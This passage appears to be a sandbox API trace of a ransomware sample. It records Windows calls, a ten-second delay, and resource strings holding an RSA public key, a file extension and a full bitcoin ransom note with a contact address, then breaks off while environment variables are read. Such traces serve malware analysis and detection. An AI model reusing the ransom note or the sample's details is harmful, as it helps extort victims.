¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x37f794, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcc\x89\xd2\xb6\xd0\xf9\x37", lpUsedDefaultChar=0x0) returned 256 [0023.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0023.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x37f894, cbMultiByte=256, lpWideCharStr=0x37efe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0023.952] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0023.952] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x37edd8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0023.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x37f694, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xcc\x89\xd2\xb6\xd0\xf9\x37", lpUsedDefaultChar=0x0) returned 256 [0023.952] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x146d4c0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\whzqnu.exe")) returned 0x30 [0023.952] RtlInitializeSListHead (in: ListHead=0x146d278 | out: ListHead=0x146d278) [0023.953] GetLastError () returned 0x0 [0023.953] SetLastError (dwErrCode=0x0) [0023.953] GetEnvironmentStringsW () returned 0x695868* [0023.953] FreeEnvironmentStringsW (penv=0x695868) returned 1 [0023.954] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="FlsFree") returned 0x75a3359f [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="InitOnceExecuteOnce") returned 0x75a4d627 [0023.954] GetProcAddress (hModule=0x75a20000, lpProcName="CreateEventExW") returned 0x75ab410b [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreW") returned 0x75a4ca5a [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreExW") returned 0x75ab4195 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolTimer") returned 0x75a4ee7e [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolTimer") returned 0x7789441c [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x778bc50e [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolTimer") returned 0x778bc381 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolWait") returned 0x75a4f088 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolWait") returned 0x778a05d7 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolWait") returned 0x778bca24 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="FlushProcessWriteBuffers") returned 0x77870b8c [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7792fde8 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessorNumber") returned 0x778c1e1d [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSymbolicLinkW") returned 0x75aacd11 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentPackageId") returned 0x0 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount64") returned 0x75a4eee0 [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileInformationByHandleEx") returned 0x75a4c78f [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="SetFileInformationByHandle") returned 0x75a5cbfc [0023.955] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeConditionVariable") returned 0x77888456 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="WakeConditionVariable") returned 0x778f7de4 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="WakeAllConditionVariable") returned 0x778b409d [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="SleepConditionVariableCS") returned 0x75ab4b32 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeSRWLock") returned 0x77888456 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="AcquireSRWLockExclusive") returned 0x778829f1 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77894892 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="ReleaseSRWLockExclusive") returned 0x778829ab [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="SleepConditionVariableSRW") returned 0x75ab4b74 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolWork") returned 0x75a4ee45 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="SubmitThreadpoolWork") returned 0x778c8491 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolWork") returned 0x778bd8e2 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringEx") returned 0x75ab46b1 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="GetLocaleInfoEx") returned 0x75ab4751 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0023.956] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0023.956] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeConditionVariable") returned 0x77888456 [0023.957] GetProcAddress (hModule=0x75a20000, lpProcName="SleepConditionVariableCS") returned 0x75ab4b32 [0023.957] GetProcAddress (hModule=0x75a20000, lpProcName="WakeAllConditionVariable") returned 0x778b409d [0023.957] RtlInitializeConditionVariable () returned 0x146d258 [0023.957] QueryPerformanceFrequency (in: lpFrequency=0x37fa10 | out: lpFrequency=0x37fa10) returned 1 [0023.957] QueryPerformanceCounter (in: lpPerformanceCount=0x37fa08 | out: lpPerformanceCount=0x37fa08*=1809918700000) returned 1 [0023.957] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0023.957] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140c2fb) returned 0x0 [0023.959] GetLastError () returned 0x7f [0023.959] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.960] SetLastError (dwErrCode=0x7f) [0023.960] GetLastError () returned 0x7f [0023.961] SetLastError (dwErrCode=0x7f) [0023.961] GetLastError () returned 0x7f [0023.961] SetLastError (dwErrCode=0x7f) [0023.961] GetLastError () returned 0x7f [0023.961] SetLastError (dwErrCode=0x7f) [0023.965] GetStartupInfoW (in: lpStartupInfo=0x37f9f0 | out: lpStartupInfo=0x37f9f0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\whzqnu.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0023.966] Sleep (dwMilliseconds=0x2710) [0033.979] GetModuleHandleA (lpModuleName=0x0) returned 0x13a0000 [0033.979] LoadStringA (in: hInstance=0x13a0000, uID=0x1, lpBuffer=0x37e688, cchBufferMax=5000 | out: lpBuffer=".mdk4y") returned 0x6 [0033.982] GetModuleHandleA (lpModuleName=0x0) returned 0x13a0000 [0033.982] LoadStringA (in: hInstance=0x13a0000, uID=0x2, lpBuffer=0x37e688, cchBufferMax=5000 | out: lpBuffer="-----BEGIN RSA PUBLIC KEY-----\nMIIBCgKCAQEA0Mi4Q/QGVeKJaTo25N0tNCLWV/AQwnaORk0JmgxBlZ+3dKm8GFzU\nZAz2jLrxLfuWJDowONJA4LpAFbkQ2/pftC9K7MLeM+HRS8hS7+uTAxJu7KBFqomP\nz0J1A67BFIj6nQ1yE55AqkaN7OBrEs3XycNNqTgo7ZzhfAN1FVGlarEHEOwCTSPF\n6na2A0Cn+oSMX7eXGDxPlUCIwRRHMgQ4nociN+n70z/3GSWHjF/YyxNwpe/E/H75\nJ3e6a39ipEwtTNuTV6ZQYnoSR18Ey765KjW7Zx2A3cMZ/NeaJpmec2r/eLtMD/50\nG217/45qR8jR8zcNhJkT0eFrGZ6ULF4fEwIDAQAB\n-----END RSA PUBLIC KEY-----") returned 0x1a9 [0033.983] GetModuleHandleA (lpModuleName=0x0) returned 0x13a0000 [0033.983] LoadStringA (in: hInstance=0x13a0000, uID=0x3, lpBuffer=0x37e688, cchBufferMax=5000 | out: lpBuffer="Dear manager, \nyour database server has been locked, your databases files are encrypted and you have unfortunately \"lost\" all your data, Encryption was produced using unique key AES-256 generated for this server.\nTo decrypt files you need to obtain the decryption key and tool. \nAll encrypted files ends with .charm \nTo obtain the program for this server, which will decrypt all files, you need to write me to email: \"mdk4y@protonmail.com\" \nBefore payment you can send us one small file (100..500 kilobytes) and we will decrypt it - it's your guarantee that we have decryption tool. And send us your userkey \nWe don't know who are you, All what we need is some money. \nDon't panic if we don't answer you during 24 hours. It means that we didn't received your letter and write us again. \nYou can use one of that bitcoin exchangers for transfering bitcoin: \nhttps://localbitcoins.com\nhttps://www.kraken.com \nYou dont need install bitcoin programs - you need only use one of this exchangers or other exchanger that you can find in www.google.com for your country. \nPlease use english language in your letters. If you don't speak english then use https://translate.google.com to translate your letter on english language. \nYou don't have enough time to think each day payment will increase and after one week your key will be deleted and your files will be locked forever.\nUSERKEY: \n") returned 0x563 [0033.984] GetProcAddress (hModule=0x75a20000, lpProcName="AreFileApisANSI") returned 0x75ab40d1 [0033.984] AreFileApisANSI () returned 1 [0033.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1464594, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0033.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1464594, cbMultiByte=-1, lpWideCharStr=0x69a018, cchWideChar=4 | out: lpWideCharStr="Log") returned 4 [0033.984] CreateFileW (lpFileName="Log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37e4a4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68 [0033.985] GetFileType (hFile=0x68) returned 0x1 [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.986] SetLastError (dwErrCode=0x0) [0033.986] GetLastError () returned 0x0 [0033.987] SetLastError (dwErrCode=0x0) [0033.987] GetLastError () returned 0x0 [0033.987] SetLastError (dwErrCode=0x0) [0033.987] GetLastError () returned 0x0 [0033.987] SetLastError (dwErrCode=0x0) [0033.987] GetLastError () returned 0x0 [0033.987] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0033.987] SetLastError (dwErrCode=0x0) [0033.987] GetLastError () returned 0x0 [0033.987] SetLastError (dwErrCode=0x0) [0033.987] WriteFile (in: hFile=0x68, lpBuffer=0x37d0ec*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x37d0e4, lpOverlapped=0x0 | out: lpBuffer=0x37d0ec*, lpNumberOfBytesWritten=0x37d0e4*=0xc, lpOverlapped=0x0) returned 1 [0033.988] GetLastError () returned 0x0 [0033.988] SetLastError (dwErrCode=0x0) [0033.988] GetEnvironmentStringsW () returned 0x69baf8* [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x69c5d0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0033.989] FreeEnvironmentStringsW (penv=0x69baf8) returned 1 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x699530, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0033.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x69c570, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 